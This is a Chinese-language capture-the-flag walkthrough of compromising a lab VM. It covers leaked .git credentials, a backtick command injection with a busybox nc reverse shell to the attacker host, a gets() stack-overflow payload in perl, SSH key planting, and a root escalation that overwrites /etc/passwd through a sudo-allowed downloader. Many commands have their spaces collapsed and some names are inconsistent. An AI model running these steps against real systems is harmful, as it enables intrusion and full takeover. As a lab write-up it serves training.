- 正文
- 一、端口扫描
- 二、git 日志检索
- 方法(一):diff命令对比文件差异
- 方法(二):checkout命令版本回退
- 三、权限维持
- 四、pwn:栈溢出漏洞利用
- 五、伪造公钥,利用私钥登录
- 五、you-get文件下载提权操作
正文
kali攻击机地址:192.168.31.188
靶场地址:192.168.31.221
一、端口扫描
在kali里,使用nmap工具:
nmap-sV-v-T4-A192.168.31.188
靶场开放了22和80端口,可能存在git源码泄露。
获取git源码,
wget-r-nphttp://192.168.31.221/.git/二、git 日志检索
查看当前仓库的提交历史记录,按时间倒序列出所有提交的哈希值、作者、日期、提交说明。
- 最早的说明,就是添加备份文件,然后修改,然后删除
index.html
方法(一):diff命令对比文件差异
不过,绝大多数实际场景中,仓库里的提交数很少,Git 只需要用前 7-8 位,就能保证在当前仓库里是唯一的。
可以通过以下命令,查看 Git 能识别的「最短唯一前缀」:
gitrev-parse--shorte8279ccefbaad9c6454a9395170f87c9cf085534
通过diff命令比较不同。
gitdiffbc363f58 e8279cce| 行内容 | 含义说明 |
|---|---|
diff --git a/creds.txt b/creds.txt | 对比两个版本中的creds.txt文件,a/代表旧版本,b/代表新版本 |
new file mode 100644 | 说明这个文件是新创建的,不是修改旧文件;100644是文件权限(普通文件,所有者可读可写,其他用户可读) |
index 00000000..873d342 | 旧版本中这个文件不存在(哈希全 0),新版本中文件的哈希是873d342 |
--- /dev/null | 旧版本中这个文件不存在,用/dev/null表示 “空文件” |
+++ b/creds.txt | 新版本中的文件路径 |
@@ -0,0 +1 @@ | 表示旧文件从第 0 行开始、共 0 行;新文件从第 1 行开始、共 1 行 |
+welcome:ThisIsMypasword | 绿色的+表示这一行是新增内容,也就是creds.txt文件被创建时写入的唯一一行内容 |
方法(二):checkout命令版本回退
通过命令:
gitcheckout e8279cc返回表示:仓库的当前指针HEAD,已经成功指向了哈希前缀为e8279cc的提交,这个提交的说明是add backup
此时可以查看到当前目录下新变化的文件:
lscatcreds.txt
出现用户名和密码:welcome:ThisIsMypasword
修改域名gggbabay.ggg.dsz与192.168.31.221关联
nano/etc/hosts192.168.31.221 gggbaby.ggg.dsz ggg.dsz- 表示这两个域名都是指向
192.168.31.221
192.168.31.221:靶场的 IP 地址gggbaby.ggg.dsz:Git 提交记录里出现过的主机名,推测是这个网址(root@gggbaby.ggg.dsz)ggg.dsz:它的父域名,也绑定到同一个 IP
登录网址:
http://gggbabay.ggg.dsz/ 或者 http://ggg.dsz/
能明显看到图标变了,把之前的用户名密码welcome:ThisIsMypasword粘贴登录,会发现一个网络诊断测试:
测试发现没对反引号过滤,编写nc反弹脚本:
## 可以用brup抓包,用`sleep 5`测试。`busyboxnc192.168.31.1884444-e/bin/bash`三、权限维持
接下来生成伪终端:
/usr/bin/script-qc/bin/bash /dev/nullCTRL+Z ,中断连接后使用完整终端:
stty raw -echo;fgreset尝试重置终端恢复正常,为xterm
四、pwn:栈溢出漏洞利用
在根目录下,发现opt里存在猫腻。
研读一下这个代码:
扔给AI翻译一下:
#include<unistd.h>// 提供setuid、setgid权限相关系统调用函数#include<stdio.h>// 标准输入输出库,printf、gets、fflush都依赖此头文件#include<string.h>// 字符串处理库,本程序未实际使用#include<stdlib.h>// 标准库,提供system函数执行系统命令/** * @brief 执行反弹Shell函数 * 调用nc工具监听本地1234端口,成功连接后给到bash终端 * busybox nc -lp 1234 -e /bin/bash * -l : 开启监听模式 * -p : 指定监听端口1234 * -e : 连接成功后执行/bin/bash,实现命令交互 */voidexecute_shell(){system("busybox nc -lp 1234 -e /bin/bash");}/** * @brief 程序主函数,存在经典栈缓冲区溢出漏洞 * 漏洞成因:使用无长度限制读取函数gets,可溢出覆盖栈上相邻变量 */intmain(intargc,char*argv[]){setuid(1000);// 设置程序运行用户ID为1000,降低运行权限setgid(1000);// 设置程序运行用户组ID为1000,限制权限范围charname[60];// 定义60字节栈缓冲区,用于接收用户输入intexecute=0;// 栈上紧邻缓冲区的判断变量,初始值为0printf("Enter your name: ");fflush(stdout);// 强制刷新标准输出缓冲区,保证文字正常打印gets(name);// 高危漏洞函数!无任何长度校验,直接读取输入// 输入超出60字节后,会向后覆盖栈内存数据printf("Hello, %s!\n",name);// 核心判断逻辑:execute变量等于0xABCD1234则触发反弹Shellif(execute==0xABCD1234){printf("Launching shell...\n");execute_shell();}else{// 不满足条件则打印当前execute十六进制值printf("flag is 0x%X\n",execute);}return0;}/* ==================== 复习重点笔记(内嵌文件)==================== 1. 栈布局 char name[60] 占用60字节,后面紧跟4字节int型execute变量 溢出偏移量:60字节 2. 大小端转换规则(x86默认小端序) 目标值:0xABCD1234 拆分字节:AB CD 12 34 小端内存存储顺序:34 12 CD AB 溢出填充:60个任意字符 + \x34\x12\xCD\xAB 3. 错误写法禁止 不能写\0x34,\0代表\x00空字节,会篡改数值导致判断失败 转义固定格式:\x + 两位十六进制数 4. 漏洞原理 gets不限制输入长度,恶意超长输入溢出覆盖execute变量 篡改判断条件,绕过if校验执行恶意Shell命令 5. 利用方式 1. 构造60字节填充+4字节目标值组成Payload 2. 管道输入运行程序触发漏洞 3. 攻击机使用 nc 目标IP 1234 连接获取交互式Shell ================================================================ */看明白了原理, 构造60字节填充+4字节目标值组成Payload,编写exp:
perl-le'print "A"x60 . "\x34\x12\xcd\xab"'|./shell_launchperl:调用 Perl 解释器执行后面的脚本-l:自动在输出末尾加换行-e:直接在命令行执行后面的脚本内容,不用写文件
print "A"x60 . "\x34\x12\xcd\xab"
"A"x60:Perl 特有的字符串重复语法,生成60 个连续的A,填满name[60]缓冲区.:Perl 里的字符串拼接运算符,把前后两部分 payload 拼起来"\x34\x12\xcd\xab":目标值0xABCD1234的小端序字节流,用来覆盖execute变量
| ./shell_launch
|管道符:把 Perl 脚本生成的二进制 payload,直接作为输入传给./shell_launch程序./shell_launch程序执行gets(name)时,会读取管道里的超长数据,触发栈溢出,篡改execute变量,执行反弹 shell
这个时候再访问靶场会有惊喜:
nc192.168.31.2211234
再次执行第三步的权限维持操作,进到anvj用户的伪shell交互界面里。
五、伪造公钥,利用私钥登录
生成生成一对 SSH 密钥(公钥 + 私钥),方便你后续无密码登录靶机:
ssh-keygen-trsa
跳转到/home/anjv/.ssh目录,就发现生成ida_rsa.pub公钥和id_rsa私钥了:
cd/home/anjv/.sshls-al
在此目录下,复制一份ida_rsa.pub公钥到靶场的authorized_keys中,并把id_rsa私钥拷贝到攻击机里:
cpid_rsa.pub authorized_keyscatid_rsaauthorized_keys是 SSH 服务端的授权公钥白名单文件。当你用 SSH 私钥登录时,服务端会:读取你提交的公钥指纹和 authorized_keys 里的公钥做比对。匹配成功 → 直接免密码登录;匹配失败 → 拒绝连接
给私钥600权限,然后拿着私钥登录:
chmod600id3sshanjv@192.168.31.221-iid3五、you-get文件下载提权操作
查看可提权的操作:
查看程序的逻辑:
既然是文件下载器,那就在下载做做文章,在攻击机kali桌面生成一个密码为123456,用户为root的passwd文件:
# 1. 生成加密密码(比如密码设为 123456)PASS=$(opensslpasswd-1123456)# 2. 写入完整格式的用户条目echo"root:$PASS:0:0:root:/root:/bin/bash">passwd# 3. 确认文件内容正确catpasswd# 4. 开启文件分发服务python3-mhttp.server80
在靶场里执行命令:
sudo/usr/local/bin/you-get http://192.168.31.188/passwd-O/etc/passwd-f#输入你之前设置好的密码,拿到最高权限拿到最高权限用户root。